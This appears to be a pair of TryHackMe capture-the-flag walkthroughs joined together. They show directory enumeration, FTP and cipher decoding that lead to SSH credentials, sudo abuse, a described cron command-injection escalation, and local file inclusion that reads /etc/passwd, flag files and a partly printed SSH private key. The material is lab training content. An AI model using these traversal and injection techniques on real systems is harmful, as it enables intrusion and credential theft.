/html                 (Status: 301) [Size: 313] [--> http://IP_Address/html/]
/images               (Status: 301) [Size: 315] [--> http://IP_Address/images/]
/index.html           (Status: 200) [Size: 2453]
/index.html           (Status: 200) [Size: 2453]
/scripts              (Status: 301) [Size: 316] [--> http://IP_Address/scripts/]
/server-status        (Status: 403) [Size: 278]

curl -s http://IP_Address/scripts/


 
  Index of /scripts
 
 
Index of /scripts
  
   Name Last modified Size Description
   
Parent Directory     -  
CowardlyGoblin 2020-05-18 17:55  7.4K  
ForgetfulThug 2020-05-18 17:55  7.2K  
MeanLion 2020-05-18 17:55  7.4K  
SelfishGhost 2020-05-18 17:55  7.0K  
TactlessTiger 2020-05-18 17:55  7.0K  
   

Apache/2.4.29 (Ubuntu) Server at IP_Address Port 80

root@ip-10-130-110-224:~# curl -s http://IP_Address/html/


 
  Index of /html
 
 
Index of /html
  
   Name Last modified Size Description
   
Parent Directory     -  
   

Apache/2.4.29 (Ubuntu) Server at IP_Address Port 80

curl -s http://IP_Address/scripts/CowardlyGoblin | head -20
Cowardly Goblin
A Screenplay by Mr Pseudonym
EXT. A GREASY DINER - AFTERNOON

Virtuous nurse MADAME KIMBERLY GOBBLE is arguing with virtuous private detective DI MOLLY SNOZCUMBER. KIMBERLY tries to hug MOLLY but she shakes her off.

KIMBERLY
Please Molly, don't leave me.
MOLLY
I'm sorry Kimberly, but I'm looking for somebody a bit more brave. Somebody who faces her fears head on, instead of running away.
KIMBERLY
I am such a person!
MOLLY frowns.

MOLLY
I'm sorry, Kimberly. I just don't feel excited by this relationship anymore.
MOLLY leaves.

KIMBERLY sits down, looking defeated.

for f in CowardlyGoblin ForgetfulThug MeanLion SelfishGhost TactlessTiger; do
>   curl -s http://IP_Address/scripts/$f
> done | tr ' ' '\n' | tr '[:upper:]' '[:lower:]' | sort -u > wordlist.txt

wc -l wordlist.txt
817 wordlist.txt

Looked through the different poems or quotes that were titled differently (it's bit long couldn't attach here) but it was all helpful in trying to find any helpful information that might help us in hunting the password and the flags.

What is Weston's password?

ftp IP_Address

ls -la

get dad_tasks

UWFwdyBFZWtjbCAtIFB2ciBSTUtQLi4uWFpXIFZXVVIuLi4gVFRJIFhFRi4uLiBMQUEgWlJHUVJPISEhIQpTZncuIEtham5tYiB4c2kgb3d1b3dnZQpGYXouIFRtbCBma2ZyIHFnc2VpayBhZyBvcWVpYngKRWxqd3guIFhpbCBicWkgYWlrbGJ5d3FlClJzZnYuIFp3ZWwgdnZtIGltZWwgc3VtZWJ0IGxxd2RzZmsKWWVqci4gVHFlbmwgVnN3IHN2bnQgInVycXNqZXRwd2JuIGVpbnlqYW11IiB3Zi4KCkl6IGdsd3cgQSB5a2Z0ZWYuLi4uIFFqaHN2Ym91dW9leGNtdndrd3dhdGZsbHh1Z2hoYmJjbXlkaXp3bGtic2lkaXVzY3ds

Qapw Eekcl - Pvr RMKP...XZW VWUR... TTI XEF... LAA ZRGQRO!!!!
Sfw. Kajnmb xsi owuowge
Faz. Tml fkfr qgseik ag oqeibx
Eljwx. Xil bqi aiklbywqe
Rsfv. Zwel vvm imel sumebt lqwdsfk
Yejr. Tqenl Vsw svnt "urqsjetpwbn einyjamu" wf.
Iz glww A ykftef.... Qjhsvbouuoexcmvwkwwatfllxughhbbcmydizwlkbsidiuscwl

used to dcode.fr to decode the vigenere cipher that was extracted from ftp

Dads Tasks - The RAGE...THE CAGE... THE MAN... THE LEGEND!!!!
One. Revamp the website
Two. Put more quotes in script
Three. Buy bee pesticide
Four. Help him with acting lessons
Five. Teach Dad what "information security" is.

In case I forget.... Mydadisghostrideraintthatcoolnocausehesonfirejokes

What's the user flag?

ssh weston@IP_Address

weston:Mydadisghostrideraintthatcoolnocausehesonfirejokes

ls -la
total 16
drwxr-xr-x 4 weston weston 4096 May 26  2020 .
drwxr-xr-x 4 root   root   4096 May 26  2020 ..
lrwxrwxrwx 1 weston weston    9 May 26  2020 .bash_history -> /dev/null
drwx------ 2 weston weston 4096 May 26  2020 .cache
drwx------ 3 weston weston 4096 May 26  2020 .gnupg
                                                                               
Broadcast message from cage@national-treasure (somewhere) (Fri Mar 27 13:33:01 
                                                                               
l guess they don't call you the Executioner for nothing! And you sign my kid's autograph! \u2014 Snake Eyes
                                                                               
find /-type f -name user.txt 2>/dev/null
weston@national-treasure:~$ find / -type f -name user.txt 2>/dev/null
weston@national-treasure:~$ ls /home
cage  weston
                                                                               
Broadcast message from cage@national-treasure (somewhere) (Fri Mar 27 13:36:01 
                                                                               
Honey? Uh... You wanna know who really killed JFK? \u2014 The Rock

tried to run sudo -l and found /usr/bin/bees, checked on gtfobins but this wasn't helpful

sudo -l
[sudo] password for weston: 

Sorry, try again.
[sudo] password for weston: 
Sorry, try again.
[sudo] password for weston: 
Matching Defaults entries for weston on national-treasure:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User weston may run the following commands on national-treasure:
    (root) /usr/bin/bees
                                                                               
Broadcast message from cage@national-treasure (somewhere) (Fri Mar 27 13:39:01 
                                                                               
Bangers and mash! Bubbles and squeak! Smoked eel pie! Haggis! \u2014 National Treasure 2: Book Of Secrets
                                                                               
bee eval '...'

Command 'bee' not found, did you mean:

Try: apt install 

weston@national-treasure:~$ /usr/bin/bee eval '...'
-bash: /usr/bin/bee: No such file or directory
weston@national-treasure:~$ /usr/bin/bees eval '...'
                                                                               
Broadcast message from weston@national-treasure (pts/0) (Fri Mar 27 13:40:40 20
                                                                               
AHHHHHHH THEEEEE BEEEEESSSS!!!!!!!!


                                                                               
Broadcast message from cage@national-treasure (somewhere) (Fri Mar 27 13:48:01 
                                                                               
I'll be taking these Huggies and whatever cash ya got. \u2014 Raising Arizona
                                                                               
cd /opt
weston@national-treasure:/opt$ ls -la
total 12
drwxr-xr-x  3 root root 4096 May 25  2020 .
drwxr-xr-x 24 root root 4096 May 26  2020 ..
drwxr-xr-x  3 cage cage 4096 May 26  2020 .dads_scripts
weston@national-treasure:/opt$ cat .dads_scripts
cat: .dads_scripts: Is a directory
weston@national-treasure:/opt$ cd .dads_scripts
weston@national-treasure:/opt/.dads_scripts$ ls -la
total 16
drwxr-xr-x 3 cage cage 4096 May 26  2020 .
drwxr-xr-x 3 root root 4096 May 25  2020 ..
drwxrwxr-x 2 cage cage 4096 May 25  2020 .files
-rwxr--r-- 1 cage cage  255 May 26  2020 spread_the_quotes.py
weston@national-treasure:/opt/.dads_scripts$ python3 spread_the_qoutes.py
python3: can't open file 'spread_the_qoutes.py': [Errno 2] No such file or directory
weston@national-treasure:/opt/.dads_scripts$ cat .files
cat: .files: Is a directory
weston@national-treasure:/opt/.dads_scripts$ cd .files
weston@national-treasure:/opt/.dads_scripts/.files$ ls -la
total 16
drwxrwxr-x 2 cage cage 4096 May 25  2020 .
drwxr-xr-x 3 cage cage 4096 May 26  2020 ..
-rwxrw---- 1 cage cage 4204 May 25  2020 .quotes
weston@national-treasure:/opt/.dads_scripts/.files$ cat .qoutes
cat: .qoutes: No such file or directory
weston@national-treasure:/opt/.dads_scripts/.files$ cat /.qoutes
cat: /.qoutes: No such file or directory
weston@national-treasure:/opt/.dads_scripts/.files$ cat .quotes
"That's funny, my name's Roger. Two Rogers don't make a right!" \u2014 Gone in Sixty Seconds
"Did I ever tell ya that this here jacket represents a symbol of my individuality, and my belief in personal freedom?" \u2014 Wild at Heart
"Well, I'm one of those fortunate people who like my job, sir. Got my first chemistry set when I was seven, blew my eyebrows off, we never saw the cat again, been into it ever since." \u2014 The Rock
"Put... the bunny... back... in the box." \u2014 Con Air
"Sorry boss, but there's only two men I trust. One of them's me. The other's not you." \u2014 Con Air
"What's in the bag? A shark or something?" \u2014 The Wicker Man
"Only if it's a noun, and the words have equal weight. Like, Homeland Security. If it's a participle modifying the first word, then... you better keep it lower case." \u2014 Seeking Justice
"What do you think I'm gonna do? I'm gonna save the ' ****** day!" \u2014 Con Air
"Guns and wine. Naughty priests." \u2014 Ghost Rider: Spirit of Vengeance
Hey! My mama lives in a trailer!" \u2014 Con Air
\u201cKilling me won\u2019t bring back your *** **** honey!\u201d \u2014 The Wicker Man
"Well, Baby-O, it's not exactly mai-thais and yatzee out here but... let's do it!" \u2014 Con Air
\u201cYou'll be seeing a lot of changes around here. Papa's got a brand new bag.\u201d \u2014 Face/Off
"Shoot him again... His soul's still dancing." \u2014 Bad Lieutenant: Port Of Call
"OH, NO! NOT THE BEES! NOT THE BEES! AAAAAHHHHH! OH, THEY'RE IN MY EYES! MY EYES! AAAAHHHHH! AAAAAGGHHH!" \u2014 The Wicker Man
\u201cTool up, honey bunny. It's time to get bad guys.\u201d \u2014 Kick-Ass
"Honey? Uh... You wanna know who really killed JFK?" \u2014 The Rock
\u201cI saw you and you saw me, don\u2019t pretend like you don\u2019t know who I am girly man\u201d \u2014 Snake Eyes
"You just put it in the right file, according to alphabetical order! Y'know A, B , C, D, E, F, G!" \u2014 Vampire's Kiss
"Everything I take is prescription - except for the heroin." \u2014 Bad Lieutenant: Port Of Call
"Bangers and mash! Bubbles and squeak! Smoked eel pie! Haggis!" \u2014 National Treasure 2: Book Of Secrets
"l guess they don't call you the Executioner for nothing! And you sign my kid's autograph!" \u2014 Snake Eyes
"Listen, I think we got started off on the wrong foot. I'm Stan Goodspeed, FBl. Uh - Let's talk music. Do you like the Elton John song, "Rocket Man"?" \u2014 The Rock
"Well, today's your lucky day, 'cause I brought an eagle." \u2014 The Sorcerer's Apprentice
"Release the baby!" \u2014 The Croods
"I love pressure. I eat it for breakfast." \u2014 The Rock
"I just remembered, I have to go into town to pick up your anti-itch cream." \u2014 The Sorcerer's Apprentice
"What are these ****** iguanas doing on my coffee table?" \u2014 Bad Lieutenant: Port Of Call
"I mean it, honey, the world is being Fed-exed to hell in a hand cart." \u2014 The Rock
"Black, French, alcoholic priest, kind of a ****. Why, do you know him?" \u2014 Ghost Rider: Spirit of Vengeance
"I never disrobe before gunplay." \u2014 Drive Angry
"Hey. Dirtbag." \u2014 Ghost Rider
"I'll be taking these Huggies and whatever cash ya got." \u2014 Raising Arizona
"What's that like? What's it taste like? Describe it like Hemingway." \u2014 City of Angels
"If you dress like Halloween, ghouls will try to get in your pants." \u2014 Face/Off
"I told you I'd share my ticket. I never planned on sharing my heart. Maybe I could get lucky twice today." \u2014 It Could Happen to You
"I'm a vampire! I'm a vampire! I'm a vampire!" \u2014 Vampire's Kiss
"If I were to send you flowers where would I... no, let me rephrase that. If I were to let you suck my tongue, would you be grateful?" \u2014 Face/Off
"People don't throw things at me any more. Maybe because I carry a bow around." \u2014 The Weather Man
"You'll be seeing a lot of changes around here. Papa's got a brand new bag." \u2014 Face/Off
"Here's something that if you want your father to think you're not a silly ****, don't slap a guy across the face with a glove because if you do that, that's what he will think. Unless you're a noble man or something in the nineteenth century. Which I am not." \u2014 The Weather Man
"It's like we're on two different channels now. I'm CNN and she's the Home Shopping Network." \u2014 It Could Happen to You
                                                                               
Broadcast message from cage@national-treasure (somewhere) (Fri Mar 27 13:51:01 
                                                                               
Well, I'm one of those fortunate people who like my job, sir. Got my first chemistry set when I was seven, blew my eyebrows off, we never saw the cat again, been into it ever since. \u2014 The Rock
                                                                               
                                                                               
Broadcast message from cage@national-treasure (somewhere) (Fri Mar 27 13:54:01 
                                                                               
Guns and wine. Naughty priests. \u2014 Ghost Rider: Spirit of Vengeance

Reading this file, we finally get the user flag

cat /opt/.dads_scripts/spread_the_quotes.py
#!/usr/bin/env python

#Copyright Weston 2k20 (Dad couldnt write this with all the time in the world!)
import os
import random

lines = open("/opt/.dads_scripts/.files/.quotes").read().splitlines()
quote = random.choice(lines)
os.system("wall " + quote)

What's the root flag?

                                                                      ls -la /home/cage/email_backup/
total 20
drwxrwxr-x 2 cage cage 4096 May 25  2020 .
drwx------ 7 cage cage 4096 May 26  2020 ..
-rw-rw-r-- 1 cage cage  431 May 25  2020 email_1
-rw-rw-r-- 1 cage cage  733 May 25  2020 email_2
-rw-rw-r-- 1 cage cage  745 May 25  2020 email_3
b-4.4$ pwd
/tmp
b-4.4$ cd /home/cage/email_backup
b-4.4$ cat email_1
From - SeanArcher@BigManAgents.com
To - Cage@nationaltreasure.com

Hey Cage!

There's rumours of a Face/Off sequel, Face/Off 2 - Face On. It's supposedly only in the
planning stages at the moment. I've put a good word in for you, if you're lucky we 
might be able to get you a part of an angry shop keeping or something? Would you be up
for that, the money would be good and it'd look good on your acting CV.

Regards

Sean Archer
b-4.4$ cat email_2
From - Cage@nationaltreasure.com
To - SeanArcher@BigManAgents.com

Dear Sean

We've had this discussion before Sean, I want bigger roles, I'm meant for greater things.
Why aren't you finding roles like Batman, The Little Mermaid(I'd make a great Sebastian!),
the new Home Alone film and why oh why Sean, tell me why Sean. Why did I not get a role in the
new fan made Star Wars films?! There was 3 of them! 3 Sean! I mean yes they were terrible films.
I could of made them great... great Sean.... I think you're missing my true potential.

On a much lighter note thank you for helping me set up my home server, Weston helped too, but
not overally greatly. I gave him some smaller jobs. Whats your username on here? Root?

Yours

Cage
b-4.4$ cat email_3
From - Cage@nationaltreasure.com
To - Weston@nationaltreasure.com

Hey Son

Buddy, Sean left a note on his desk with some really strange writing on it. I quickly wrote
down what it said. Could you look into it please? I think it could be something to do with his
account on here. I want to know what he's hiding from me... I might need a new agent. Pretty
sure he's out to get me. The note said:

haiinspsyanileph

The guy also seems obsessed with my face lately. He came him wearing a mask of my face...
was rather odd. Imagine wearing his ugly face.... I wouldnt be able to FACE that!! 
hahahahahahahahahahahahahahahaahah get it Weston! FACE THAT!!!! hahahahahahahhaha
ahahahhahaha. Ahhh Face it... he's just odd. 

Regards

The Legend - Cage

python3 -c "
> def vd(ct, key):
>     res=[]; ki=0; key=key.lower()
>     for c in ct:
>         if c.isalpha():
>             s=ord(key[ki%len(key)])-ord('a')
>             res.append(chr((ord(c.lower())-ord('a')-s)%26+ord('a')))
>             ki+=1
>         else: res.append(c)
>     return ''.join(res)
> 
> print(vd('haiinspsyanileph', 'faceoff'))
> "
cageznknyyjugzkh

Before accessing the root user, we were able to access the email backup folder that had three emails, but none of them had the root flag. It helped us get a password, which eventually helped us escalate privileges and access the email backup that has the root flag.

weston@national-treasure:/home/cage$ su root
Password: 
root@national-treasure:/home/cage# ls -la
total 56
drwx------ 7 cage cage 4096 May 26  2020 .
drwxr-xr-x 4 root root 4096 May 26  2020 ..
lrwxrwxrwx 1 cage cage    9 May 26  2020 .bash_history -> /dev/null
-rw-r--r-- 1 cage cage  220 Apr  4  2018 .bash_logout
-rw-r--r-- 1 cage cage 3771 Apr  4  2018 .bashrc
drwx------ 2 cage cage 4096 May 25  2020 .cache
drwxrwxr-x 2 cage cage 4096 May 25  2020 email_backup
drwx------ 3 cage cage 4096 May 25  2020 .gnupg
drwxrwxr-x 3 cage cage 4096 May 25  2020 .local
-rw-r--r-- 1 cage cage  807 Apr  4  2018 .profile
-rw-rw-r-- 1 cage cage   66 May 25  2020 .selected_editor
drwx------ 2 cage cage 4096 May 26  2020 .ssh
-rw-r--r-- 1 cage cage    0 May 25  2020 .sudo_as_admin_successful
-rw-rw-r-- 1 cage cage  230 May 26  2020 Super_Duper_Checklist
-rw------- 1 cage cage 6761 May 26  2020 .viminfo
                                                                               
Broadcast message from cage@national-treasure (somewhere) (Fri Mar 27 14:24:01 
                                                                               
quotes
                                                                               
python -c 'import pty; pty.spawn("/bin/bash") 
root@national-treasure:/home/cage# sudo su
root@national-treasure:/home/cage# cd /root
root@national-treasure:~# ls -la
total 52
drwx------  8 root root  4096 May 26  2020 .
drwxr-xr-x 24 root root  4096 May 26  2020 ..
lrwxrwxrwx  1 root root     9 May 26  2020 .bash_history -> /dev/null
-rw-r--r--  1 root root  3106 Apr  9  2018 .bashrc
drwx------  2 root root  4096 May 26  2020 .cache
drwxr-xr-x  2 root root  4096 May 25  2020 email_backup
drwx------  3 root root  4096 May 26  2020 .gnupg
drwxr-xr-x  3 root root  4096 May 25  2020 .local
-rw-r--r--  1 root root   148 Aug 17  2015 .profile
drwx------  2 root root  4096 May 25  2020 .ssh
drwxr-xr-x  2 root root  4096 May 26  2020 .vim
-rw-------  1 root root 11692 May 26  2020 .viminfo
root@national-treasure:~# cd email_backup
root@national-treasure:~/email_backup# ls -la
total 16
drwxr-xr-x 2 root root 4096 May 25  2020 .
drwx------ 8 root root 4096 May 26  2020 ..
-rw-r--r-- 1 root root  318 May 25  2020 email_1
-rw-r--r-- 1 root root  414 May 25  2020 email_2
root@national-treasure:~/email_backup# cat email_1
From - SeanArcher@BigManAgents.com
To - master@ActorsGuild.com

Good Evening Master

My control over Cage is becoming stronger, I've been casting him into worse and worse roles.
Eventually the whole world will see who Cage really is! Our masterplan is coming together
master, I'm in your debt.

Thank you

Sean Archer
root@national-treasure:~/email_backup# cat email_2
From - master@ActorsGuild.com
To - SeanArcher@BigManAgents.com

Dear Sean

I'm very pleased to here that Sean, you are a good disciple. Your power over him has become
strong... so strong that I feel the power to promote you from disciple to crony. I hope you
don't abuse your new found strength. To ascend yourself to this level please use this code:

THM{8R1NG_D0WN_7H3_C493_L0N9_L1V3_M3}

Thank you

Sean Archer

CONCLUSION

This room was a fun reminder that enumeration pays off in layers — the web directories, FTP file, and broadcaster cron job each revealed a piece of the puzzle that only made sense in context of the others. A few key takeaways:

Wordlist generation matters: the screenplay files looked like noise but contained the SSH password embedded in a decoded Vigenère message — always read what you find before dismissing it.
os.system() with unsanitised input is a classic code injection sink: the cron job calling wall + quote with no sanitisation meant writing a payload to the quotes file was sufficient for lateral movement.
Group membership is a privesc vector: running sudo /usr/bin/bees added us to the cage group, granting write access to .quotes — a non-obvious but realistic escalation path.
Classical ciphers still show up in CTFs: recognising the Vigenère pattern and identifying the key from contextual clues ("FACE that!!") saved significant time over brute-forcing.

Team (CTF Challenge - THM)

Jebitok — Sat, 28 Mar 2026 17:25:40 GMT

nmap -p- -sV IP_Address

PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 3.0.5
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.13 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))

gobuster dir -u http://IP_Address -w /usr/share/wordlists/dirb/common.txt -x php,html,txt
===============================================================
/.php                 (Status: 403) [Size: 278]
/.hta                 (Status: 403) [Size: 278]
/.hta.txt             (Status: 403) [Size: 278]
/.hta.html            (Status: 403) [Size: 278]
/.hta.php             (Status: 403) [Size: 278]
/.htaccess.php        (Status: 403) [Size: 278]
/.htaccess.html       (Status: 403) [Size: 278]
/.htpasswd            (Status: 403) [Size: 278]
/.htpasswd.txt        (Status: 403) [Size: 278]
/.htaccess            (Status: 403) [Size: 278]
/.htpasswd.html       (Status: 403) [Size: 278]
/.htpasswd.php        (Status: 403) [Size: 278]
/.htaccess.txt        (Status: 403) [Size: 278]
/.html                (Status: 403) [Size: 278]
/index.html           (Status: 200) [Size: 11366]
/index.html           (Status: 200) [Size: 11366]
/server-status        (Status: 403) [Size: 278]

I see Apache on the http://IP\_Address
After looking around on the site, we found the domain team.thm and eventually subdomains dev.team.thm and www.dev.team.thm

echo "IP_Address team.thm" >> /etc/hosts

echo "IP_Address dev.team.thm www.dev.team.thm" >> /etc/hosts

gobuster dir -u http://team.thm -w /usr/share/wordlists/dirb/common.txt -x php,html,txt
===============================================================
/.php                 (Status: 403) [Size: 273]
/.html                (Status: 403) [Size: 273]
/.hta                 (Status: 403) [Size: 273]
/.hta.html            (Status: 403) [Size: 273]
/.hta.php             (Status: 403) [Size: 273]
/.hta.txt             (Status: 403) [Size: 273]
/.htaccess.php        (Status: 403) [Size: 273]
/.htpasswd.html       (Status: 403) [Size: 273]
/.htaccess            (Status: 403) [Size: 273]
/.htaccess.txt        (Status: 403) [Size: 273]
/.htpasswd            (Status: 403) [Size: 273]
/.htpasswd.txt        (Status: 403) [Size: 273]
/.htaccess.html       (Status: 403) [Size: 273]
/.htpasswd.php        (Status: 403) [Size: 273]
/assets               (Status: 301) [Size: 305] [--> http://team.thm/assets/]
/images               (Status: 301) [Size: 305] [--> http://team.thm/images/]
/index.html           (Status: 200) [Size: 2966]
/index.html           (Status: 200) [Size: 2966]
/robots.txt           (Status: 200) [Size: 5]
/robots.txt           (Status: 200) [Size: 5]
/scripts              (Status: 301) [Size: 306] [--> http://team.thm/scripts/]
/server-status        (Status: 403) [Size: 273]

robots.txt revealed a user called dale

curl -s http://team.thm/assets/


403 Forbidden

Forbidden
You don't have permission to access this resource.

Apache/2.4.41 (Ubuntu) Server at team.thm Port 80

root@ip-10-129-80-190:~# curl -s http://team.thm/images/


 
  Index of /images
 
 
Index of /images
Name                    Last modified      Size  Description
Parent Directory                             -   
avatar.jpg              2021-01-15 20:00   14K  
bg.jpg                  2021-01-15 20:00   71K  
fulls/                  2021-01-15 20:00    -   
thumbs/                 2021-01-15 20:00    -   

Apache/2.4.41 (Ubuntu) Server at team.thm Port 80

Checking the results below revealed a chance of path traversal

curl http://dev.team.thm

 
  UNDER DEVELOPMENT
 
 
  Site is being built
Place holder link to team share

curl "http://dev.team.thm/script.php?page=../../../../etc/passwd"

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd/netif:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd/resolve:/usr/sbin/nologin
syslog:x:102:106::/home/syslog:/usr/sbin/nologin
messagebus:x:103:107::/nonexistent:/usr/sbin/nologin
_apt:x:104:65534::/nonexistent:/usr/sbin/nologin
lxd:x:105:65534::/var/lib/lxd/:/bin/false
uuidd:x:106:110::/run/uuidd:/usr/sbin/nologin
dnsmasq:x:107:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
landscape:x:108:112::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:109:1::/var/cache/pollinate:/bin/false
dale:x:1000:1000:anon,,,:/home/dale:/bin/bash
gyles:x:1001:1001::/home/gyles:/bin/bash
ftpuser:x:1002:1002::/home/ftpuser:/bin/sh
ftp:x:110:116:ftp daemon,,,:/srv/ftp:/usr/sbin/nologin
sshd:x:111:65534::/run/sshd:/usr/sbin/nologin
systemd-timesync:x:112:117:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
tss:x:113:120:TPM software stack,,,:/var/lib/tpm:/bin/false
tcpdump:x:114:121::/nonexistent:/usr/sbin/nologin
fwupd-refresh:x:115:122:fwupd-refresh user,,,:/run/systemd:/usr/sbin/nologin
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
usbmux:x:116:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
ssm-user:x:1003:1005::/home/ssm-user:/bin/sh
ubuntu:x:1004:1007:Ubuntu:/home/ubuntu:/bin/bash

Flags

Created by:dalemazza

Credit to P41ntP4rr0t for help along the way

Answer the questions below

user.txt

the user flag:

curl "http://dev.team.thm/script.php?page=../../../../home/dale/user.txt"

THM{6Y0TXHz7c2d}

root.txt

curl "http://dev.team.thm/script.php?page=php://filter/convert.base64-encode/resource=script.php"

Cjw/cGhwICAgCiRmaWxlID0gJF9HRVRbJ3BhZ2UnXTsKICAgaWYoaXNzZXQoJGZpbGUpKQogICB7CiAgICAgICBpbmNsdWRlKCIkZmlsZSIpOwogICB9CiAgIGVsc2UKICAgewogICAgICAgaW5jbHVkZSgidGVhbXNoYXJlLnBocCIpOwogICB9Cj8+Cg==

The base64 decode shows a teamshare.php file, which we had seen earlier on

Next was replacing the PHP file in the previous command with teamshare.php

curl "http://dev.team.thm/script.php?page=php://filter/convert.base64-encode/resource=teamshare.php"

PGh0bWw+CiA8aGVhZD4KICA8dGl0bGU+VGVhbSBTaGFyZTwvdGl0bGU+CiA8L2hlYWQ+CiA8Ym9keT4KICA8P3BocCBlY2hvICJQbGFjZSBob2xkZXIgZm9yIGZ1dHVyZSB0ZWFtIHNoYXJlIiA/PgogPC9ib2R5Pgo8L2h0bWw+Cg==

The base64 decode found:


 
  Team Share

We also found an SSH private key for the SSH user dale

# \(OpenBSD: sshd_config,v 1.101 2017/03/14 07:19:07 djm Exp \) # This is the sshd server system-wide configuration file. See # sshd_config(5) for more information. # This sshd was compiled with PATH=/usr/bin:/bin:/usr/sbin:/sbin # The strategy used for options in the default sshd_config shipped with # OpenSSH is to specify options with their default value where # possible, but leave them commented. Uncommented options override the # default value. #Port 22 #AddressFamily any #ListenAddress 0.0.0.0 #ListenAddress :: #HostKey /etc/ssh/ssh_host_rsa_key #HostKey /etc/ssh/ssh_host_ecdsa_key #HostKey /etc/ssh/ssh_host_ed25519_key # Ciphers and keying #RekeyLimit default none # Logging #SyslogFacility AUTH #LogLevel INFO # Authentication: #RSAAuthentication yes #LoginGraceTime 2m PermitRootLogin prohibit-password #StrictModes yes #MaxAuthTries 6 #MaxSessions 10 PubkeyAuthentication yes PubkeyAcceptedKeyTypes=+ssh-dss,ssh-rsa,ssh-ed25519 # Expect .ssh/authorized_keys2 to be disregarded by default in future. AuthorizedKeysFile .ssh/authorized_keys #AuthorizedPrincipalsFile none #AuthorizedKeysCommand none #AuthorizedKeysCommandUser nobody # For this to work you will also need host keys in /etc/ssh/ssh_known_hosts #HostbasedAuthentication no # Change to yes if you don't trust ~/.ssh/known_hosts for # HostbasedAuthentication #IgnoreUserKnownHosts no # Don't read the user's ~/.rhosts and ~/.shosts files #IgnoreRhosts yes # To disable tunneled clear text passwords, change to no here! #PasswordAuthentication yes #PermitEmptyPasswords no # Change to yes to enable challenge-response passwords (beware issues with # some PAM modules and threads) ChallengeResponseAuthentication no # Kerberos options #KerberosAuthentication no #KerberosOrLocalPasswd yes #KerberosTicketCleanup yes #KerberosGetAFSToken no # GSSAPI options #GSSAPIAuthentication no #GSSAPICleanupCredentials yes #GSSAPIStrictAcceptorCheck yes #GSSAPIKeyExchange no # Set this to 'yes' to enable PAM authentication, account processing, # and session processing. If this is enabled, PAM authentication will # be allowed through the ChallengeResponseAuthentication and # PasswordAuthentication. Depending on your PAM configuration, # PAM authentication via ChallengeResponseAuthentication may bypass # the setting of "PermitRootLogin without-password". # If you just want the PAM account and session checks to run without # PAM authentication, then enable this but set PasswordAuthentication # and ChallengeResponseAuthentication to 'no'. UsePAM no #AllowAgentForwarding yes #AllowTcpForwarding yes #GatewayPorts no X11Forwarding yes #X11DisplayOffset 10 #X11UseLocalhost yes #PermitTTY yes PrintMotd no #PrintLastLog yes #TCPKeepAlive yes #UseLogin no #PermitUserEnvironment no #Compression delayed #ClientAliveInterval 0 #ClientAliveCountMax 3 #UseDNS no #PidFile /var/run/sshd.pid #MaxStartups 10:30:100 #PermitTunnel no #ChrootDirectory none #VersionAddendum none # no default banner path #Banner none # Allow client to pass locale environment variables AcceptEnv LANG LC_* # override default of no subsystems Subsystem sftp /usr/lib/openssh/sftp-server # Example of overriding settings on a per-user basis #Match User anoncvs # X11Forwarding no # AllowTcpForwarding no # PermitTTY no # ForceCommand cvs server AllowUsers dale gyles root ubuntu #Dale id_rsa #-----BEGIN OPENSSH PRIVATE KEY----- #b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn #NhAAAAAwEAAQAAAYEAng6KMTH3zm+6rqeQzn5HLBjgruB9k2rX/XdzCr6jvdFLJ+uH4ZVE #NUkbi5WUOdR4ock4dFjk03X1bDshaisAFRJJkgUq1+zNJ+p96ZIEKtm93aYy3+YggliN/W #oG+RPqP8P6/uflU0ftxkHE54H1Ll03HbN+0H4JM/InXvuz4U9Df09m99JYi6DVw5XGsaWK #o9WqHhL5XS8lYu/fy5VAYOfJ0pyTh8IdhFUuAzfuC+fj0BcQ6ePFhxEF6WaNCSpK2v+qxP #zMUILQdztr8WhURTxuaOQOIxQ2xJ+zWDKMiynzJ/lzwmI4EiOKj1/nh/w7I8rk6jBjaqAu #k5xumOxPnyWAGiM0XOBSfgaU+eADcaGfwSF1a0gI8G/TtJfbcW33gnwZBVhc30uLG8JoKS #xtA1J4yRazjEqK8hU8FUvowsGGls+trkxBYgceWwJFUudYjBq2NbX2glKz52vqFZdbAa1S #0soiabHiuwd+3N/ygsSuDhOhKIg4MWH6VeJcSMIrAAAFkNt4pcTbeKXEAAAAB3NzaC1yc2 #EAAAGBAJ4OijEx985vuq6nkM5+RywY4K7gfZNq1/13cwq+o73RSyfrh+GVRDVJG4uVlDnU #eKHJOHRY5NN19Ww7IWorABUSSZIFKtfszSfqfemSBCrZvd2mMt/mIIJYjf1qBvkT6j/D+v 